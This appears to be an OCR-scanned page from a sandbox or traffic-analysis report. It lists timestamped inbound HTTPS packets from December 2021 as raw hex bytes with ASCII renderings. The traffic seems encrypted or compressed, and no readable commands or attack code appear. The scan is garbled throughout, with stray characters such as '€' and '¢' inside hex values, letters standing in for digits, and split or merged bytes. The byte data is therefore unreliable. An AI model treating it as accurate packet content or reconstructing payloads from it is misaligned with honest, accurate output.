2021-12-20 13:26:00 UTC 137 IN Data Raw: 14 34 4a 6d 00 0d fO e6 27 3d 6e ed 81 51 ee 67 7e 3b 37 cc 20 6a 51 cb ea 11 98 b9 17 d1 ef b3 53 73 f3 f1
86 ac 14 97 10 b1 65 c4 ac 39 d5 0a 38 35 66 25 d7 a2 5a 50 ae 1a 04 d8 ac 16 4a 46 Oa c4 84 dc 37 16 23 2f 4a 31 62 ad
€0 32 9a af 39 26 5a 9b 78 36 40 ef 90 4b 6 c1 99 f9 2a 20 d7 Oe 21 fb 7d 6d 9b 86 42 c5 dO 3d 28 b1 e9 1b 8c 20 86 4f
1b 9e e5 e0 d7 b3 3b 6b 2d 88 4e 3f 2b 88 51 fc 2e 23 48 61 08 7b cf ca 83 98 b8 3 a9 5¢ a3 56 f7 84 3e 21 4c b1 6a db
97 a5 9a 70 7a f4 5a 4b dd 72 55 1c 99 41 72 2e cb 44 dc 1c 17 bl 6e al 5¢ 38 a0 b5 9d 88 25 69 Oa 1f b9 ad 27 fb d8 4a
79 6f 59 a4 32 ed Oc c7 86 20 23 4c 8c b5 1c 5a 20 67 64 38 ed f6 dO 07 el ec 23 d5 2a 87 f8 c3 df 8d al 4b 5a 74 a5 9c
bd 01 73 16 36 b8 53 b3 12 0f c6 23 8e 53 3¢ 0d ba 3c 8¢
Data Ascii: 4Jm'=nQg~;7 jQSse985f%ZPJIF7#/J1b29&Zx6@K* IImB=( O;k-N?+Q.#Ha{\V>ILjpzZKrUAr.Dn\8%i'JyoY?2 #LZ
gd8#*KZts6S#S<<

2021-12-20 13:26:00 UTC 138 IN Data Raw: 7f 81 31 b7 ea 67 1c 08 b7 06 5f f6 17 d8 73 70 23 5¢ 2d 41 25 8 68 4a Ob 23 d7 e2 6a 3f 24 28 34 98 17 5¢c 3a
8e Oc b9 7f ee 18 59 b9 78 3a d0 06 47 90 92 4e 82 €9 51 10 15 17 b5 f2 7b 46 cd b8 7f f2 61 9b 42 be ¢3 90 ¢3 39 ec bl
ce 76 d3 64 aa 5c c9 45 21 af ba 95 d0 63 42 {3 47 24 ef 4a b2 8e 47 b4 cd 5f 30 05 37 18 8f 84 3e cc Ob db cd 37 53 8a
0932433671c821124098al 1b a8 d8 ad f8 e6 6e dd 56 f3 2e c4 9a d7 32 45 b5 59 7e 8e 77 6b 74 e3 d6 ea 1f aa d5
32 aad072dc 1561 4d 87 639d 82 67 af 74 a3 ed b2 59 3d 8f 3c 58 f2 bd 9f dd ad 49 fe 1e 33 6a 3b 37 e3 bc €3 62 62
8221 3d 1e bc 22 f3 53 11 71 6f 46 75 6e 0a b9 91 3e 97 af 2e 89 cc b8 34 48 c2 40 21 73 77 6f €9 23 f6 a6 45 13 c1 2¢
4e 1a 78 ec c0 4e 6e b4 7a 3d d3 d5 b1 35 90 9b 8 e7
Data Ascii: 1g_sp#\-A%hJ#]?$(4\:Yx:GNQ{FaB9vd\E!cBG$JG_07>7S2C6q!@nV.2EY~wkt2raMcgtY=<XI3j;7bb!="Sqo
Fun>.4H@!swo#E,NxNnz=5

2021-12-20 13:26:00 UTC 139 IN Data Raw: 6a 99 d5 4c 17 fc ¢3 ¢7 a9 f1 ca 5d 9c fc 12 a4 85 23 26 c1 el 04 e8 60 f3 1e 45 37 65 05 28 4b f9 cO 7f 40 08
34 19 ab b8 49 2c 5b 6¢ 16 84 65 39 db Oe 26 09 fc 56 de 80 3d c4 87 47 d2 e6 a4 ec e8 a5 11 ed b7 9b ae 86 al c8 21 4f
2d c2 cd 03 25 3b a7 9e 80 80 18 67 36 36 74 fb fc €8 bl 5a 09 44 66 Oe fe 1a cc 3f 47 9e Of c3 22 38 8d 4b 3c bc af 52 75
70 1a cc 64 49 b1 6f ea 2f 44 64 55 27 bl 1a 5f 3a 56 2e c4 f4 41 11 al 22 57 f7 5¢ 7b 98 5e 4d 85 5f fc c6 81 ce 38 35 43
91 fO c4 da 13 1f fd €8 43 e5 4c 5b 7b 21 7e 93 5a bf 77 86 51 6¢ bb 70 72 ec 37 15 94 87 94 23 75 80 26 71 86 08 f1 f8
99 e5 7e de 01 f5 07 ba 80 e2 31 db 7a 9a 09 72 22 79 7b 2c 17 c0 37 94 ee 75 08 fc ee 48 cd d1 c2 7a fe c2 ee 20 fd d6
41 7a 26 83 2e 71 e5 6a 13 ca 64 b8 57 8f d1 be
Data Ascii: JLJ#& E7e(K@4I,[le9&V=G!0-%;g66tZDf?G"8K<Rupdlo/DdU’_:V.A"W\{*M_85CCL[{!~ZwQIpr7#u&q~1zr
"y{,7uHz Az&.qjdW

2021-12-20 13:26:00 UTC 141 IN Data Raw: fb eb b1 84 56 12 b1 08 df 14 eb 9a ff 4f 8b 36 c6 €8 b2 42 d8 07 2f 90 d9 9c ce 58 9a 37 1b d9 97 53 48 f4 73
db 7a c1 0f e4 05 10 16 c0 c0 04 c5 2a 83 2d 59 Oc a4 29 ce fa 6b d0 22 ad ce f9 f7 af 3a bf 54 dd 55 7a f2 3d c3 f5 35 5e
caaa 1320 a3 la69 9345 2a1d 92 b9 ef 62 f7 03 €8 ae b9 7e ea 90 ef ff f6 d2 ff eb 7e bl 63 47 29 eb 4c 62 4d bf 24 d7
9c a7 fa a3 f3 ¢8 Oc fa 90 7e c¢8 25 5b 57 36 ¢7 19 f6 8b 27 41 80 94 2d 74 c4 d5 e6 49 d7 86 59 2b 29 32 74 aa 1d c1 99
5fd7 cb 59 a4 70 Oe 93 e7 79 ae 45 92 01 39 38 9a 03 f9 d2 f2 91 16 5d 4f 03 e2 82 f9 39 f6 97 f2 b4 ea b3 fe f9 69 c1 9a
3b a0 e2 19 fd 22 5d 24 eb 13 ed 5d 6f b9 96 46 89 Oc 30 54 84 b8 c3 00 7f 77 c3 bl ec €9 02 e0 14 9b 9d 3c d2 3c 9c 55
b1 b6 93 22 f1 34 cd e2 57 67 aa 86 b4 le 17
Data Ascii: VOB6B/X7SHsz*-Y)k":TUz=5" iE*b~~cG)LbM$~%[W6E'A-tIY+)2t_YpyE98]O9i;"|$]oFOTw<<U"4Wg

2021-12-20 13:26:00 UTC 142 IN Data Raw: 37 37 bf 41 6f 9f 1e 85 a2 ef 44 b4 5e e2 92 26 87 71 bc bc 86 20 16 9d 40 27 b6 9b 54 ca 63 ee 6f 7f ea d8 ff
5b 7a c8 c0 91 3e 0f b9 2e 20 4c de 3d 7a 38 00 41 38 ff 24 d7 15 8e 70 7a e2 ca 84 52 be 17 43 9¢c 59 ea 30 el 1f €9 6b
d1 b1 9af0 4c 7e d5 af 5e 38 al 01 6e af d7 ba 51 15 74 fa e8 c8 2f 73 33 76 b5 55 Oe b3 99 4a 8f 56 88 fa 74 a9 Oe dc d3
56 2b 90 Oe eb 3b 31 a4 df c7 87 95 d1 82 bd ec 78 3c 74 46 75 c9 69 9f 3b 7a 5e c2 80 22 76 7c ed el 8e fe 77 2e 35 e8
4a 94 bf 38 d1 Oe 83 76 49 39 13 df 22 7d 73 95 14 b8 23 80 5d fc a9 d4 8f 64 1a f4 el Ob 0f 93 21 a7 32 2d b5 69 76 70
22 8e 6d c5 15 b2 3f 08 1e ¢7 70 6¢ d7 €9 37 Oc 55 21 25 f2 be d5 64 67 04 41 bb ce 24 76 60 a2 39 6d 22 e4 5e 64 59 8f
fc fc 2f 6e Oe cd 58 4c bf 66 €6 d5 64 7f dd ad 42
Data Ascii: 77AoD"&q @'Tco[z>. L=z8A8$pzRCYOKL~"8nQt/s3vUJIVtV+;1x<tFui;z*"v|w.5J8vI9"}s#]d!2-ivp"m?p
17U1%dgA$v 9m " dY/nXLfdB

2021-12-20 13:26:00 UTC 143 IN Data Raw: c¢6 ¢3 59 30 67 37 b3 14 7a 27 d2 44 21 1c 03 96 f3 8a c4 99 e8 d4 6a 22 21 fd 95 89 7f 91 b0 59 a2 ee 8e 2c
8c 50 a8 5e 55 5b d5 34 ¢9 f0 c3 e5 8¢ dc 37 1e 8c 7f ad 76 9c 2e 0d 6b 29 a0 ad 3e a2 cf 67 €6 20 al bd a7 ab 32 93 d3
78 b6 8d 0a 63 76 76 9f 59 c0 cd c8 cd a8 c0 82 24 c7 dd 1c be d8 61 01 68 20 d4 07 87 94 bd 22 d3 8d 9e 03 78 b3 3a bf
67 97 9b 8d cc 72 12 ac 25 dc ea 5d 14 95 97 2d 41 ff 6d c2 e0 a6 5e 8d 4e 1f 7a f3 fe 8f 8f Of 66 f8 61 d5 b2 4a 92 fd e3
89 5f 5a ce 12 39 22 46 72 43 40 79 2b ae c7 68 c3 d5 63 55 8f 69 8f 65 8d 71 ea 98 34 57 a4 31 e0 ff e0 bf 9c a7 1c f0 f9
52 b3 ee 5e al 21 cd 21 7a e4 28 e0 ac 76 64 08 82 eb d6 49 57 ff e4 5a 50 f4 1b c9 f6 e2 a5 fa b2 1e 3e ad ab 89 93 bb
8a 5f ba a2 28 e7 fe 53 47 65 f2 a3 8f 1e el 5¢ 32
Data Ascii: YOg7z'D!j"lY,P U[47v.k)>g 2xcvvY$ah "x:gr%]-Am”Nzfal_Z9"FrC@y+hcUieqdW1RMN!z(vdIWZP>_(SGe\2
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kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 145 IN Data Raw: 63 cb 02 7c 5a 9c 9a 37 6f c3 e5 da b2 71 be 97 ¢3 b5 3f 28 2f 0d c0 ec 60 59 d6 08 89 c0 5 Of 65 28 06 9a 5a
08 6¢ 34 55 6e 6f 7d e8 ac 91 f6 cb 77 ed b0 d6 b5 fe 77 19 e5 b6 4f 2b 11 3a a7 ed 11 8c d7 56 00 8f a8 10 6d 7a 65 d5
ab 6a 44 e8 0f f6 7b cf f3 f9 2e 74 c1 12 94 da 18 22 2c fa 9d d1 5a bc 55 e7 f8 €9 b4 9e 09 8e 65 8¢ 1c da bd 92 01 33 10
1b 6f 88 c5 6e 2f 52 ¢5 54 31 a2 09 78 89 ab 90 ec 9f 3e aa fc ea 6e 6¢ 81 ad f0 39 9f 84 2f 15 12 5a cf 00 b0 76 12 05 30
6e b8 al eb cb fafa 74 73 5e 63 e4 7e 25 45 19 37 54 el ed a2 83 37 be 51 ac fd 46 76 78 ba be de e5 6f 24 40 cc 4b 8a
c5f6 17 4f 60 90 8¢ 0f f3 8b 7f €8 39 b4 ac d6 30 c9 be fd 17 1d Ob da 61 c9 9d 6f €5 3e 60 2d d7 37 b2 c6 33 c5 88 ef 2a
fd 6a 0d cb 87 71 85 6b 89 5e eb 02 e7 a4 ed
Data Ascii: c|Z70g?(/"Ye(Zl4Uno}wwO+:VmzejD{.t",ZUe30n/RT1x>nl9/ZvOnts"c~%E7T7QFvx0$@KO 90ao>"-73*jgk”

2021-12-20 13:26:00 UTC 146 IN Data Raw: 40 57 d3 ed 92 80 66 90 7 d8 7 f6 7f e7 78 33 79 00 c6 8d 11 69 8c 6a el 1c 09 ba 15 07 b3 1d dc ff 6e 0d b2
d4 do 32 00 84 c6 33 3e 5d e2 b2 ff 58 54 e5 46 b0 23 4d 8f 6d fd c7 b8 df b9 cb 7a 12 1a 5c ef 8f 31 6f 1e ba 38 5e 3b 34
8e 14 c3 26 39 5e 57 c5 ae ee a2 fae5 c¢7 cc d6 f4 93 ¢9 93 d1 d3 65 91 4c fa cc 81 b4 dd c3 45 c6 b0 52 62 69 57 66 f5
95 06 d7 4f 7e 27 7f ad d2 eb 1c 20 0a 23 3b 75 Oa ba 09 df 0d a0 86 da 12 6 f9 5b c5 83 d8 fh f9 c0 34 ea fe b5 cc e2 e4
43 a5 7c 15 8a b6 60 e2 f8
Data Ascii: @Wfx3yijn23>]XTF#Mmz\108";4&9"WeLERDbiWfO~' #;u[4C|"

2021-12-20 13:26:00 UTC 146 IN Data Raw: 52 d5 59 68 1d 39 46 a2 82 71 ac af 8b b2 80 86 c4 8 ff 18 8f 61 fa 71 ed 23 af e5 96 ea 81 66 25 56 99 07 29
9f b9 fO 0d 9¢ 77 2c cb a4 10 18 4b b0 1c 8e 48 al 08 33 82 62 8a €0 1d 23 6¢ 2a 2b 36 98 db 74 1b 44 6b 05 c6 f8 a8 e7
e8 b1 983834 cd 8c 50 7e 71 ¢3 d6 71 b8 1b 1f db f2 d9 85 fO 71 40 3b bc 77 f8 33 de b6 be 68 b0 32 5e 62 21 e4 b9 29
bf 11 8e 1e cf db cf 5e df f1 b7 73 46 58 a3 da 57 4f 27 e8 ca 97 10 39 c1 dd 8a 8c da ba 31 e6 8a c1 71 f5 a0 7b e0 d8 94
96 88 68 c0 3c b8 9b 1a 63 ¢4 53 72 75 fe ac 05 49 92 31 7d 53 €9 ed 7e b6 0d 3f 95 a4 ab 86 7b 5d f3 fb fc 3a 8d 05 55
65 fe 58 0f €3 8e d3 f1 12 eb 90 03 07 81 dO 9e ef 8e 3e 76 41 72 19 a3 2d 71 d2 21 76 99 b2 31 4a 59 c8 9c 8a 0f c1 33
91 5b ad 82 66 c1 35 e7 d3 7d bd 41 cd 83 5d e0 98
Data Ascii: RYh9Fqgag#f%\V)w,KH3b#l*+6tDk84P~qqg@;w3h2/b!)"sFXWO'91q{h<cSrul1}S~?{]:UeX>VAr-q!v1JY3[f5}A]

2021-12-20 13:26:00 UTC 147 IN Data Raw: 2d 80 3a 7d 45 e0 78 17 91 01 20 8a e7 f5 26 84 a6 58 21 35 4e 49 4d 3e 20 bf 0d cc 7f cc 1e 7a ce 38 e9 53
65 b8 fc 92 c7 e3 6a da c4 59 a6 7e Of Oe e6 27 ee 02 c0 a2 5b 76 b8 8b 60 79 02 c2 06 b6 62 e5 b4 7b 17 d7 ee d2 84 75
22 ec a6 8b 63 el 58 73 ea 71 63 0a 29 1b 1e Oe 64 48 1e 76 18 ed f1 7e el f3 13 f3 f3 92 12 2e 1c 97 6¢ f3 61 33 75 f2
b9 6¢ dc b4 a6 a9 de 2b 82 f3 2c f1 c0 1d bd 7f c7 d5 10 88 82 7e e7 31 Oc 68 a3 cd 44 ab 20 79 d6 2a Oc 03 4f a9 84 41
5 4c ce 7 b1 a0 24 d5 46 56 47 ca 79 e8 6d 3d 4c 20 20 85 de 47 b7 3f 53 96 c0 ee ab c1 24 1f 83 23 ed 20 16 45 9a 73
7ab7 9d e2 71 7b 4d d2 4d 77 42 6f 5f 6d 53 0d d2 23 b0 80 59 05 e8 ed c6 c8 26 c8 63 31 fc a5 Oc cc 6¢ 3e 91 7e 8e de
ae bf 9f 6e 76 ed 4e 4d a9 c0 a7 29 75 cc ec 15 cf 10 74
Data Ascii: -:}Ex &X!5NIM> z8SejY~'[v'yb{u"cXsqc)dHv~.la3ul+,~1hD y*OAL$FVGym=L G?S$# Eszq{MMwBo_mS
#Y&c1l>~nvNM)ut

2021-12-20 13:26:00 UTC 149 IN Data Raw: b8 9a 4a 43 3e 0f 5¢ fc 65 98 e4 8¢ c5 fd 48 86 7a f4 36 87 a0 76 d3 01 e6 €6 ea b8 8f 91 db 49 d2 9b 0d 32 7d
31 c3 7e 3f 21 28 bc cc be 7a 56 e6 9¢ 1b f0 61 a2 63 9d ed 00 c0 61 cf dc e7 a3 6e 40 ad fe 7d 00 23 1b e8 da f7 27 ac f1
b0 b5 ac c4 a0 03 a1 06 8c b7 39 9b ac 8d b6 c3 a0 c7 eb Oc 90 88 Oc 26 e8 dd 15 07 72 41 ef ca ad a5 03 62 cb 1f fb ec
05 60 1b 4 fc e3 96 4f 81 05 58 bc fe ad 75 bb 5a €6 d0 07 7d 47 18 5a 5f 22 ec b2 72 4e 3e 6f 24 68 b6 fc ce 9e 9 cd af
ef c8 2 f5 17 ee 68 81 d1 d9 e3 df 95 f2 63 16 €0 78 e6 8d 49 a9 04 39 d0 e8 c6 53 5b 9a c6 98 47 43 f5 8e 34 6f f2 cb 8¢
f31d ea3b 73 a1 b0 cO b1 c8 09 7c 98 42 29 91 ba 2b 81 cd e7 e8 a4 36 cf 50 6e c4 a5 11 08 10 fe 95 db ac ab 9d el fe
ee 2d 31 75 ae 26 b8 ca a4 1e ab cc f2 53 e9
Data Ascii: JC>\eHz6VI2}1~?!(zVacan@}#'9&rAb OXuZ}GZ_"rN>0$hhcxI9S[GC40;s|B)+6Pn-1u&S

2021-12-20 13:26:00 UTC 150 IN Data Raw: 69 c3 2d 80 d8 e8 94 12 07 d5 1f 61 55 98 e8 e3 fc 2d 05 18 1d f9 c4 e6 89 e0 89 0f 79 a2 92 45 36 91 11 63
342a69 18 1f 33 75 5f 7d 3e 81 f5 al 72 7d f3 68 10 77 86 a3 92 42 86 bc 1c 16 11 79 88 72 25 bl 35 7f 28 Oc 59 c4 3b
8187 0d Ob 62 72 33 15 6b 3 75 fb 81 70 4a d1 f2 36 91 a2 5f 98 c1 8a Oa a7 d9 53 ff 4a f5 35 d3 4a 75 df bd a8 ce 79 79
cc 49 d5 17 bc 6e 2a 42 a8 af 1f b5 7a 68 56 ba ae 2e 35 96 f3 22 03 b6 32 ab e0 68 d7 Oc cc ba 93 el 62 92 f9 9e 10 9f
7e f7 2f 32 44 b3 81 dc 78 56 cd a8 a8 e8 b7 91 e2 e0 8a 18 el 2a f1 c3 aa 83 c4 15 83 8f 5d de a6 c7 12 8b 56 df e8 a0
4e 35 7b c4 e2 5a 36 6f 99 73 7d b5 6¢ fb 73 94 56 66 f6 cd el 58 5a ae 07 7b 1b 5b 9f 6e cf b7 91 b0 72 ca 76 9 32 6b
3b 69 92 89 3f al 67 21 1c d0 67 83 d4 34 a0 4e 9a 53
Data Ascii: i-aU-yE6¢4*i3u_}>rthwByr%5(Y;br3kupJ6_SJ5JuyyIn*BzhV.5"2hb~/2DxV*]VN5{Z60s}sVIXZ{[nrv2k;i?g!g4NS

2021-12-20 13:26:00 UTC 151 IN Data Raw: 82 8e ed 22 80 b0 9d Oa 7c f6 77 c4 01 33 33 77 Of a8 0d 58 5a 92 70 89 ae 59 Of 1d 87 19 b2 a9 25 €9 68 d7
e7 1b ed 28 54 73 99 6e 92 40 d4 45 cb 04 be 60 8d 13 45 e4 7c 31 1c d0 75 8 83 bc ad b7 64 d0 34 40 6¢ a3 f2 f4 fc 83
99 b 7¢ 45 e3 42 62 ¢4 89 03 72 82 24 0b 80 f2 ab el 9f 67 96 c8 6e 06 ed Oe 99 57 15 6a b2 4f 9f 30 04 92 05 79 ac Oe
08 c4 d1 80 57 f8 98 b4 58 ca 0d 91 82 ae d8 41 1c 62 d2 bf a6 ff 25 6e 31 d7 9b 02 e8 3f 09 74 3d 3f ae 4e bc 90 4d 06 7¢
Ob 80 3c ad 7e d2 2d 72 aa d9 3e 8a c6 28 bb b8 c0 9e 5a a3 36 f2 05 e8 98 31 80 fd b5 ab 3c 77 ed 44 03 c8 fe b1 1e 42
fb 3f 81 34 95 b9 ba fe 46 b3 d1 f1 d7 d9 b8 08 7d 61 48 64 83 f9 6b fa 01 42 a8 17 bf a8 e4 d2 95 89 db 85 a4 a2 d0 11
0a 88 4c 7b 51 51 €9 ba bc fc 99 7d a0 9d cf 71 b2 93
Data Ascii: "w33wXZpY%h(Tsn@E E|1ud4@I|EBbr$gnWjO0yWXAb%n1?t=?NM}<~-r>(Z61<wDB?4F}aHdkBL{QQ}q

2021-12-20 13:26:00 UTC 152 IN Data Raw: cc 6e c4 5f 39 20 67 d9 df 4b 2d 8a 9d 2f f8 1e 35 b5 f9 28 c1 7b 6e 3e cb 27 79 a3 1d c9 Oe 9e ee Oc 91 7a 3a
53 0e 64 31 b5 64 ff f9 a7 63 f1 5¢ ca 4f 56 ad c8 f6 42 da 12 a8 f4 ea db 7a 39 18 97 86 Ob Of 14 Ob 7e 11 66 04 48 71 44
ec 4f 74 7f ec c1 91 58 7b 18 72 42 d6 8a 04 9a 8e ae 80 5f Ob 1b €3 2¢ 21 0d 31 58 26 09 aa bc 3e 1b 6a 05 3d 60 a6 el
24 1b ed 8f 42 80 9b a2 18 f7 73 de 94 92 2c 7b 01 f8 b4 70 00 98 ce 54 €0 e6 61 6¢ 37 84 3a 2a a0 d9 08 a4 7d 38 9b 9f
1e 80 fd 2f 92 6e 99 Oe fc Ob 9e ba 98 82 1f 95 56 1f €3 7f db b0 43 c5 fb bf 30 19 a2 5f 31 8a d7 f4 a6 56 ce le ed 3c da
d5 8d ee b5 Oc a7 f5 87 f6 90 56 c6 7e 35 07 48 37 5b 26 6¢ f6 f7 05 d6 73 5d 66 38 6a 72 17 af 66 65 e8 e4 98 7e Oe 2b
9f cb al 8b 68 €8 8¢ f1 4b 4a 9d fb 79 d0 90 ee
Data Ascii: n_9 gK-/5({n>'yz:Sd1dc\OVBz9~fHqDOtX{rB_,!1X&>j="$Bs {pTal7:*}8/nVCO_1V<V~5H7[&ls]f8jrfe~+hKJy

2021-12-20 13:26:00 UTC 154 IN Data Raw: fO d8 c2 8a 9f el 4d e7 51 1b 68 87 {3 8 78 ee 86 c0 7d 28 bc a3 ¢3 91 c1 41 2b 53 26 5¢ 8¢ a2 26 f1 69 2¢ 26
bd 99 56 45 f5 Oc 7d 02 df 6¢ 90 c5 9a 11 ae cc 65 f5 e4 67 90 1a 6 4e 7b 31 23 7f fd cb 9d b7 al 26 35 03 52 66 ba c2 95
77 17 15 10 cf d3 87 4¢ 30 b7 5¢ ed 03 cc 1c 12 ae 8d c8 f1 8e d0 ab e4 31 5d 04 7e 9e 20 66 52 e2 d9 ad 23 8f 3d Oa 1c
le 21 0d 79 b7 18 3b d7 be 87 13 ad 56 69 96 45 16 60 0a 79 1c 65 1b e2 60 ec ef c2 db 36 24 fe c6 44 96 3c 41 da 7e 32
62 3c 76 2c 8b 34 6b f8 f4 2e 1a 5b 8a 78 99 19 15 3b 36 d5 c¢7 71 8d a9 fb f9 52 ce 1a 39 34 02 2d 88 f6 ac 26 81 35 c3 bf
9f 79 88 1e 33 b3 bb d2 14 7b c2 24 5e 18 74 36 54 a0 66 9b bc b5 4f c9 ad cc 8¢ 1f 6¢ 31 e7 85 7c 1a e3 ff 4a c6 b2 fd 04
ee 17 51 44 72 83 d4 1f 57 29 15 31 ec 10 Oa
Data Ascii: MQhx}(A+S&\&i,&VEHegN{1#&5RfwLO0\1]~ fR#=ly;VIE ye 6$D<A~2b<v,4k.[x;6qR94-&5y3{$"M6 TfOI1|JQDrW)1

2021-12-20 13:26:00 UTC 155 IN Data Raw: 4b 79 Oa b3 e4 7 f4 d7 ba d5 db cd 3b 22 e0 4f de 84 Ob cd a0 03 80 Oa 2f 79 f0 47 14 3c 07 cc el 01 8e c6 50
eb 44 7e 5a f3 4b Oe 62 e4 c1 49 28 b8 73 bl dc 73 1c dO 87 b1 07 cb b4 ae ce 40 0d 78 90 dO c6 22 e8 6d 9a {7 f7 35 dO
f2 9a Oe b6 8a 19 a9 3 d4 6d 9c Oc 4f 66 6 7b 0d 9f bb 4d 8f 7e de 1d 69 9b 02 bf 5d 1d 67 1b 50 Oc 2b 98 d8 16 8a ad
36 bf c0 09 a3 d8 Oe 35 5b 97 98 bd 54 a7 Of df df 33 7e 20 8f 8a 9a 31 b2 ac 9b 2e 86 4f 18 4d aa ab 0a 72 ea db a6 81 ef
49 9c 10 5e a0 7e 19 79 c3 5e 7c¢ 60 al b3 cd a0 85 ed 83 f2 31 72 f1 d7 28 21 8b b3 31 de 1e 6f 88 09 81 32 b5 30 52 c3
82 caf9 3f d0 f4 49 93 ba e5 a2 04 04 1a aa 32 71 d7 d3 5¢ 19 21 f9 59 a4 5f 48 48 25 3d d3 05 34 9f dc 2b b8 bd 48 6a
b4 2a c9 al 43 56 14 ba 8b 7a 43 0f 5¢c 36 fa 5¢c a2
Data Ascii: Ky;"OlyG<PD~ZKbl(ss@x"m5mOf{M~i]gP+65[T3~ 1.0Mrl"~y"|"1r(11020R?I12q\!Y_HH%=4+Hj*CVzC\6\
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Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 156 IN Data Raw: 89 fe 76 5a 17 dd 53 bf ec ae a3 b7 04 a2 e7 Oc bl 6c 23 07 cb 62 26 d4 34 52 5c 1f 8¢ ef 4f 26 b6 55 4f ac 28
Ob 18 41 92 80 99 bf a5 07 8c de d4 Oc 7e 88 f9 3c d1 38 5d 09 7a 86 a0 9b 50 3e c9 dc f5 90 3f 2b 51 2d bd bb 96 cf 9b
clblea937afd 52 15535 11 e3 d5 56 c5 13 ab 65 6¢ 8e 8b 0f d3 df f6 77 bd cO e6 89 fe ad af 34 ea fe 1b 87 ea 03 5b
b6 18 95 ee 94 46 ad f2 39 12 1e bc c1 f1 86 ff 2e be 9e 70 80 2a 2b 3c c4 2d fb a2 c4 29 02 ca 5 43 bb 2a ef 42 6e ce eb
7900 55 d7 30 71 8d 42 9a 93 3b be 5d d4 81 c3 c0 2a 1f 69 61 48 83 3a 5e 95 be 3c 74 0a al 3b 69 7d 9f ee a5 2 bl 22
3e f9 52 06 ad 76 85 1d 08 97 df b2 €3 9b 61 c9 38 57 63 0d 52 48 0d d9 d2 44 4c e5 38 29 11 78 eb 2d 3c df 51 5f 57 c3
53 aa 22 07 22 4d f8 €7 0d 73 bc e8 c3 ba 32 79
Data Ascii: vZSI#b&4R\0&UO(A~<8]zP>?+Q-zR5Velw4[F9.p*+<-)C*BnyU0qB;]*iaH: <t;i}">Rva8WcRHDL8)x-<Q_WS
""Ms2y

2021-12-20 13:26:00 UTC 157 IN Data Raw: 64 4f 59 39 5a e4 7f d2 91 19 94 61 80 22 36 ce 45 03 3e 07 b0 68 8e 6a 6¢ ee 64 16 24 74 d0 22 84 c0 d1 04
5c 67 96 70 b9 4c 85 8b 80 52 30 €8 57 bl 46 48 ff 13 €9 12 55 cf 5e 7b 60 34 31 8d 5¢c 5d 07 2c 25 65 49 50 ad d7 2c eb
c6 a2 e6 e9 f9 b9 25 03 29 d6 77 e4 01 bb 25 e4 f2 ¢8 Oe 51 0f d8 52 76 98 c5 8e ff 8a 1a ec cd e7 91 46 dc al a2 bc e2
99 b8 24 93 29 36 9f d2 a2 8f b8 98 35 b9 9c 7c a4 7a 56 3f f5 0 f1 1b 76 17 ff 06 e6 42 9f ¢3 1d 63 4a 5e fd b7 c7 8¢ d9
a7 08 99 2 f4 b0 50 a4 1a 9f e9 7f 40 c2 fb 2c ¢3 06 24 07 3f bf 95 dc d9 ae 52 1b be aa e4 cl fc 3a d6 5b 47 a9 a5 b7 43
98 24 21 db 39 50 8c e8 bf fc 89 1c 61 f8 14 9d 5¢ 34 e5 63 6a f3 50 38 38 74 9f a9 6b 91 f7 8¢ 30 24 c8 el 5f 4d 25 cc 2d
50 d0 €9 9b 06 09 ae 2c fd f2 02 eb 69 f6 ed 99
Data Ascii: dOY9Za"6E>hjld$t"\gpLROWFHUN{'41\],%elP,%)w%QRVF$)65|zV?vBcI P @,$?R:[GC$!9Pa\4cjP88tk0$_M%-
P,

2021-12-20 13:26:00 UTC 159 IN Data Raw: 8b e3 28 79 22 b0 f3 b8 72 5f 38 1f 7f 19 a0 75 7a 27 4c 34 93 22 ab 88 €2 5a 00 79 bc 1e 77 eb 23 c0 6b 35 fb
0a 58 20 15 64 9c 88 7c f1 ba b9 14 c9 28 ac da f2 93 b8 92 c6 61 e4 1d 5b 7f f0 €9 34 60 48 al 3d 29 a4 12 cd 4d b3 Ob
be e7 26 22 61 e2 Oc f6 23 4c ed 69 32 0d 6f fb e6 c5 fc 7b f7 d8 f3 ef 56 b9 3e f3 0a ac 76 ca da 8b 68 43 b3 70 52 bl 7e
a7 0c b5 d6 cc 27 86 al cc 27 df c3 8c 66 7e 12 7f 09 49 d4 17 53 b4 e6 24 b9 80 a9 41 5b 54 6¢ ab 54 6e f0 a3 92 31 35
e7 14 99 9f df 21 77 f5 ac f2 e4 b9 b2 98 4a cb 98 ce 10 22 55 34 48 86 65 4b de 28 ac fa 94 9a 92 b6 51 d4 32 0f 4b 01 ce
69 0b 2a 7f 2f 17 1f 2c 71 68 64 17 28 35 e5 1e 26 1d b0 ec d3 0f 48 71 ff 3b 59 b1 d9 00 d7 53 bb ¢5 10 c1 9d 4e c7 97
d5 39 b6 e8 eb b7 dd 3c 5a 48 f2 Oc 3f c7 b5 91
Data Ascii: (y'r_8uz'L4"Zyw#k5X d|(a[4 H=)M&"a#Li20{V>VhCpR~"f~IS$A[TITn15!wJ"U4HeK(Q2Ki*/,qghd(5&Hq
;YSN9<ZH?

2021-12-20 13:26:00 UTC 160 IN Data Raw: 94 2a la ef d4 ba 4e a4 f3 7d 81 e2 8f 40 el f3 b4 ef f1 32 el e4 5b al fa 1f 35 f9 9a e9 ac 6¢ 5f 41 ba 29 e9 ec
7d 46 8e d5 c4 a5 d4 55 96 55 el 16 a3 bb 22 dd e0 6¢ 18 3e a6 8b 21 61 83 7a 63 a4 52 46 49 89 75 al 5b 25 fa bf ec 2d
78 69 74 0b 05 dO f6 d8 Oe 79 21 dc 29 c8 77 35 11 dd 89 cf dd 35 2e 58 3a a0 be 43 56 c3 al 43 4f 41 89 7f 68 e4 al 58
a0 da ea 58 88 7c 2b 1a 84 40 b1 58 26 7d 2e 73 53 ea 5a 2e b7 bf d5 cb 3 72 7 cf 23 99 18 6d b9 c1 d9 8a d6 17 03 ec
39 3889 e8 49 5e 10 07 73 f1 e9 df 5b fa 12 06 52 0b 98 19 d9 19 28 2f e2 df 72 61 fd b8 14 65 d9 94 b1 fb 87 95 cd b9 aa
le c6 5c 8c e5 2f 5f b7 81 2f a9 e8 db ea a7 02 54 b1 f5 c4 05 68 7b c8 5f 66 a8 c0 35 b1 b1 69 f1 46 bd 6b ee a5 78 e8 8a
94 36 cf f7 8a 99 5d a2 ac b0 b7 44 26 76 7c
Data Ascii: *N}@2[5_A)}FUU"[>lazcRFIu[%-xity!)w55.X:CVCOAhXX|+@X&}.sSZ.r#m98I"s[R(/raeV_/Th{_f5iFkx6]D&v|

